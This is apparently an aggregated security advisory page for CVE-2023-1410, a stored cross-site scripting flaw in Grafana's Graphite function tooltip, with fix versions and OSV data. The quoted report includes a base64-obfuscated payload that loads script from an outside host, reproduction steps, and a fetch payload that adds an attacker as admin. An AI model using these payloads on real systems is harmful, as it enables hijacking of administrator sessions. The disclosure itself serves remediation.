CVE-2023-1410: Github.com/grafana/grafana Cross-Site Scripting Vulnerability

MODERATE
Advisory Identifier: GHSA-qrrg-gw7w-vp76
CVSS 6.2
CWE-79
Published
Advisory Summary

CVE-2023-1410 is a MODERATE (CVSS 6.2) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Github.com/grafana/grafana libraries in the Go ecosystem. The issue involves grafana stored cross-site scripting in graphite functiondescription tooltip. Remediation is available by upgrading affected packages to version 8.5.22, 9.3.11, 9.4.7, 9.2.15.

CVE-2023-1410 at a Glance

CVE Identifier CVE-2023-1410
GHSA Identifier GHSA-qrrg-gw7w-vp76
Severity MODERATE
CVSS v3.1 Base Score 6.2
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product Github.com/grafana/grafana
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 6.2

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required High (PR:H)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2023-1410

To remediate this vulnerability, upgrade all affected Github.com/grafana/grafana dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/grafana/grafana fixed: 8.5.22
Upgrade github.com/grafana/grafana to 8.5.22
github.com/grafana/grafana fixed: 9.3.11
Upgrade github.com/grafana/grafana to 9.3.11
github.com/grafana/grafana fixed: 9.4.7
Upgrade github.com/grafana/grafana to 9.4.7
github.com/grafana/grafana fixed: 9.2.15
Upgrade github.com/grafana/grafana to 9.2.15
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/grafana/grafana

How to Check if You Are Affected

To determine whether your application is affected by CVE-2023-1410, inspect your project dependencies for Github.com/grafana/grafana:

inspect dependencies for github.com/grafana/grafana

Analyze the terminal output to locate any version of Github.com/grafana/grafana in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 8.5.22), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Github.com/grafana/grafana, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary When a Graphite data source is added, one can use this data source in a dashboard. This contains a feature to use `Functions`. Once a function is selected, a small tooltip will be shown when hovering over the name of the function. This tooltip will allow you to delete the selected Function from your query or show the Function Description. However, no sanitization is done when adding this description to the DOM. Since it is not uncommon to connect to public data sources, and attacker could host a Graphite instance with modified Function Descriptions containing XSS payloads. When the victim uses it in a query and accidentally hovers over the Function Description, an attacker controlled XSS payload will be executed. This can be used to add the attacker as an Admin for example. ### Details 1. Spin up your own Graphite instance. I've done this using the `make devenv sources=graphite`. 2. Now start a terminal for your Graphite container and modify the following file `/opt/graphite/webapp/graphite/render/functions.py` 3. Basically you can pick any function but I picked the `aggregateSeriesLists` function. Modify its description to be `"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vY20yLnRlbCI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs= onerror=eval(atob(this.id))>` The result would look like this: ```python def aggregateSeriesLists(requestContext, seriesListFirstPos, seriesListSecondPos, func, xFilesFactor=None): """ "><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vY20yLnRlbCI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs= onerror=eval(atob(this.id))> """ if len(seriesListFirstPos) != len(seriesListSecondPos): raise InputParameterError( "seriesListFirstPos and seriesListSecondPos argument must have equal length") results = [] for i in range(0, len(seriesListFirstPos)): firstSeries = seriesListFirstPos[i] secondSeries = seriesListSecondPos[i] aggregated = aggregate(requestContext, (firstSeries, secondSeries), func, xFilesFactor=xFilesFactor) if not aggregated: # empty list, no data found continue result = aggregated[0] # aggregate() can only return len 1 list result.name = result.name[:result.name.find('Series(')] + 'Series(%s,%s)' % (firstSeries.name, secondSeries.name) results.append(result) return results aggregateSeriesLists.group = 'Combine' aggregateSeriesLists.params = [ Param('seriesListFirstPos', ParamTypes.seriesList, required=True), Param('seriesListSecondPos', ParamTypes.seriesList, required=True), Param('func', ParamTypes.aggFunc, required=True), Param('xFilesFactor', ParamTypes.float), ] ``` 4. Save and quit the file. Restart your Graphite Container (I did this using the Restart Icon in Docker Desktop) 5. Now login to your Grafana instance as an Organisation Admin. 6. Navigate to http://[grafana]/plugins/graphite and click `Create a Graphite data source` 7. Add the url to the attackers Graphite instance (maybe enable `Skip TLS Verify`) and click `Save & test` and `Explore` 8. In the newly opened page click the + icon next to `Functions` and search for `aggregateSeriesLists` and click it to add it. 9. Now hover over `aggregateSeriesLists` with your mouse and move your mouse to the `?` icon. ### Result Our payload will trigger and in this case it will include an external script to trigger the alerts. #### Decoded payload ```javascript var a=document.createElement("script");a.src="https://cm2.tel";document.body.appendChild(a); ``` ![image](https://user-images.githubusercontent.com/26874824/225035735-5d00e5d9-3302-4257-8f95-dd562e752893.png) ### Impact In the POC we've picked 1 function to have a XSS payload, but a real attacker would of course maximize the likelihood by replacing all of it's descriptions with XSS payloads. As shown above the attacker can now run arbitrary javascript in the browser of the victim. The victim can be any user using the malicious Graphite instance in a query (or while Exploring), including the Organisation Admin. If so, an attacker could include a payload to add them as an admin themselves. An example would be something like this: ```javascript fetch("/api/org/invites", { "headers": { "content-type": "application/json" }, "body": "{\"name\":\"\",\"email\":\"\",\"role\":\"Admin\",\"sendEmail\":true,\"loginOrEmail\":\"hacker@hacker.com\"}", "method": "POST", "credentials": "include" }); ``` ### Mitigation The vulnerability seems to occur in the following file: public\app\plugins\datasource\graphite\components\FunctionEditorControls.tsx ```typescript const FunctionDescription = React.lazy(async () => { // @ts-ignore const { default: rst2html } = await import(/* webpackChunkName: "rst2html" */ 'rst2html'); return { default(props: { description?: string }) { return <div dangerouslySetInnerHTML={{ __html: rst2html(props.description ?? '') }} />; }, }; }); ``` In many other similar cases, some form of sanitization is used. I would advise to use the same here as rst2html itself will just leave HTML untouched when parsing the expected reStructuredText from Graphite. So now when it is applied using dangerouslySetInnerHTML our XSS payload will survive.

CVE-2023-1410 Affected Github.com/grafana/grafana Versions

4 component(s)
Fixed Versions:
8.5.229.3.119.4.79.2.15
Product / Package Ecosystem Affected Versions Fixed Version
github.com/grafana/grafana
Go
≥ 8.0.0
< 8.5.22
8.5.22
github.com/grafana/grafana
Go
≥ 9.3.0
< 9.3.11
9.3.11
github.com/grafana/grafana
Go
≥ 9.4.0
< 9.4.7
9.4.7
github.com/grafana/grafana
Go
≥ 9.0.0
< 9.2.15
9.2.15

References

Frequently Asked Questions

What is CVE-2023-1410?
CVE-2023-1410 is a security vulnerability in Github.com/grafana/grafana involving Grafana Stored Cross-site Scripting in Graphite FunctionDescription tooltip under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which Github.com/grafana/grafana versions are affected?
Affected versions include releases prior to 8.5.22, 9.3.11, 9.4.7, 9.2.15 across affected packages: github.com/grafana/grafana.
What version fixes CVE-2023-1410?
Upgrading to 8.5.22, 9.3.11, 9.4.7, 9.2.15 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/grafana/grafana affected?
Yes, github.com/grafana/grafana is affected in releases prior to 8.5.22, 9.3.11, 9.4.7, 9.2.15. Upgrade your dependency to 8.5.22, 9.3.11, 9.4.7, 9.2.15 or later.
What is the CVSS score of CVE-2023-1410?
CVE-2023-1410 has a CVSS v3.1 base score of 6.2 (MODERATE) with vector string CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:L/A:N.
What CWE is associated with CVE-2023-1410?
CVE-2023-1410 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check Go dependencies for CVE-2023-1410?
Run the dependency tree command: 'inspect dependencies for github.com/grafana/grafana'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-qrrg-gw7w-vp76",
  "modified" : "2023-03-23T20:10:47Z",
  "published" : "2023-03-23T20:10:47Z",
  "aliases" : [ "CVE-2023-1410" ],
  "summary" : "Grafana Stored Cross-site Scripting in Graphite FunctionDescription tooltip",
  "details" : "### Summary\nWhen a Graphite data source is added, one can use this data source in a dashboard. This contains a feature to use `Functions`. Once a function is selected, a small tooltip will be shown when hovering over the name of the function. This tooltip will allow you to delete the selected Function from your query or show the Function Description. However, no sanitization is done when adding this description to the DOM. Since it is not uncommon to connect to public data sources, and attacker could host a Graphite instance with modified Function Descriptions containing XSS payloads. When the victim uses it in a query and accidentally hovers over the Function Description, an attacker controlled XSS payload will be executed. This can be used to add the attacker as an Admin for example. \n\n### Details\n\n1. Spin up your own Graphite instance. I've done this using the `make devenv sources=graphite`.\n2. Now start a terminal for your Graphite container and modify the following file `/opt/graphite/webapp/graphite/render/functions.py` \n3. Basically you can pick any function but I picked the `aggregateSeriesLists` function. Modify its description to be `\"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vY20yLnRlbCI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs= onerror=eval(atob(this.id))>`\n\nThe result would look like this:\n\n```python\ndef aggregateSeriesLists(requestContext, seriesListFirstPos, seriesListSecondPos, func, xFilesFactor=None):\n  \"\"\"                                                                              \n                                                                                              \n  \"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vY20yLnRlbCI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs= onerror=eval(atob(this.id))>\n                                                                           \n  \"\"\"                  \n  if len(seriesListFirstPos) != len(seriesListSecondPos):   \n    raise InputParameterError(             \n      \"seriesListFirstPos and seriesListSecondPos argument must have equal length\")\n  results = []                                          \n                                    \n  for i in range(0, len(seriesListFirstPos)):        \n    firstSeries = seriesListFirstPos[i]                                           \n    secondSeries = seriesListSecondPos[i]         \n    aggregated = aggregate(requestContext, (firstSeries, secondSeries), func, xFilesFactor=xFilesFactor) \n    if not aggregated: # empty list, no data found                          \n      continue                   \n    result = aggregated[0]  # aggregate() can only return len 1 list           \n    result.name = result.name[:result.name.find('Series(')] + 'Series(%s,%s)' % (firstSeries.name, secondSeries.name)\n    results.append(result)                                                                           \n  return results                                                         \n                                                                                                                   \n                                                                                                       \naggregateSeriesLists.group = 'Combine'                                                             \naggregateSeriesLists.params = [\n  Param('seriesListFirstPos', ParamTypes.seriesList, required=True),\n  Param('seriesListSecondPos', ParamTypes.seriesList, required=True),\n  Param('func', ParamTypes.aggFunc, required=True),                                                       \n  Param('xFilesFactor', ParamTypes.float),                                \n]                                                                                                \n```\n\n4. Save and quit the file. Restart your Graphite Container (I did this using the Restart Icon in Docker Desktop)\n5. Now login to your Grafana instance as an Organisation Admin.\n6. Navigate to http://[grafana]/plugins/graphite and click `Create a Graphite data source`\n7. Add the url to the attackers Graphite instance (maybe enable `Skip TLS Verify`) and click `Save & test` and `Explore`\n8. In the newly opened page click the + icon next to `Functions` and search for `aggregateSeriesLists` and click it to add it.\n9. Now hover over `aggregateSeriesLists` with your mouse and move your mouse to the `?` icon.\n\n### Result\n\nOur payload will trigger and in this case it will include an external script to trigger the alerts.\n\n#### Decoded payload\n\n```javascript\nvar a=document.createElement(\"script\");a.src=\"https://cm2.tel\";document.body.appendChild(a);\n```\n\n![image](https://user-images.githubusercontent.com/26874824/225035735-5d00e5d9-3302-4257-8f95-dd562e752893.png)\n\n\n### Impact\n\nIn the POC we've picked 1 function to have a XSS payload, but a real attacker would of course maximize the likelihood by replacing all of it's descriptions with XSS payloads. As shown above the attacker can now run arbitrary javascript in the browser of the victim. The victim can be any user using the malicious Graphite instance in a query (or while Exploring), including the Organisation Admin. If so, an attacker could include a payload to add them as an admin themselves.\n\nAn example would be something like this:\n\n```javascript\nfetch(\"/api/org/invites\", {\n  \"headers\": {\n    \"content-type\": \"application/json\"\n  },\n  \"body\": \"{\\\"name\\\":\\\"\\\",\\\"email\\\":\\\"\\\",\\\"role\\\":\\\"Admin\\\",\\\"sendEmail\\\":true,\\\"loginOrEmail\\\":\\\"hacker@hacker.com\\\"}\",\n  \"method\": \"POST\",\n  \"credentials\": \"include\"\n});\n```\n\n### Mitigation\n\nThe vulnerability seems to occur in the following file: public\\app\\plugins\\datasource\\graphite\\components\\FunctionEditorControls.tsx\n\n```typescript\nconst FunctionDescription = React.lazy(async () => {\n  // @ts-ignore\n  const { default: rst2html } = await import(/* webpackChunkName: \"rst2html\" */ 'rst2html');\n  return {\n    default(props: { description?: string }) {\n      return <div dangerouslySetInnerHTML={{ __html: rst2html(props.description ?? '') }} />;\n    },\n  };\n});\n```\n\nIn many other similar cases, some form of sanitization is used. I would advise to use the same here as rst2html itself will just leave HTML untouched when parsing the expected reStructuredText from Graphite. So now when it is applied using dangerouslySetInnerHTML our XSS payload will survive.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/grafana/grafana"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "8.0.0"
      }, {
        "fixed" : "8.5.22"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/grafana/grafana"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "9.3.0"
      }, {
        "fixed" : "9.3.11"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/grafana/grafana"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "9.4.0"
      }, {
        "fixed" : "9.4.7"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/grafana/grafana"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "9.0.0"
      }, {
        "fixed" : "9.2.15"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/grafana/bugbounty/security/advisories/GHSA-qrrg-gw7w-vp76"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2023-1410"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/grafana/grafana/commit/42911348a76e8484396b951bef8b7bff97a84cbc"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/grafana/grafana/commit/e59427c0747ae2f3feb1bfc3a4b87f0886208cc6"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/grafana/grafana/commit/ef2eb2b6bf1d7c0fb781e3e05d0d1aecd6dd438a"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/grafana/grafana/commit/f9548d33f8624d6694983fe5aad181007405be8a"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/grafana/grafana"
  }, {
    "type" : "WEB",
    "url" : "https://grafana.com/security/security-advisories/cve-2023-1410"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2023-03-23T20:10:47Z",
    "nvd_published_at" : null
  }
}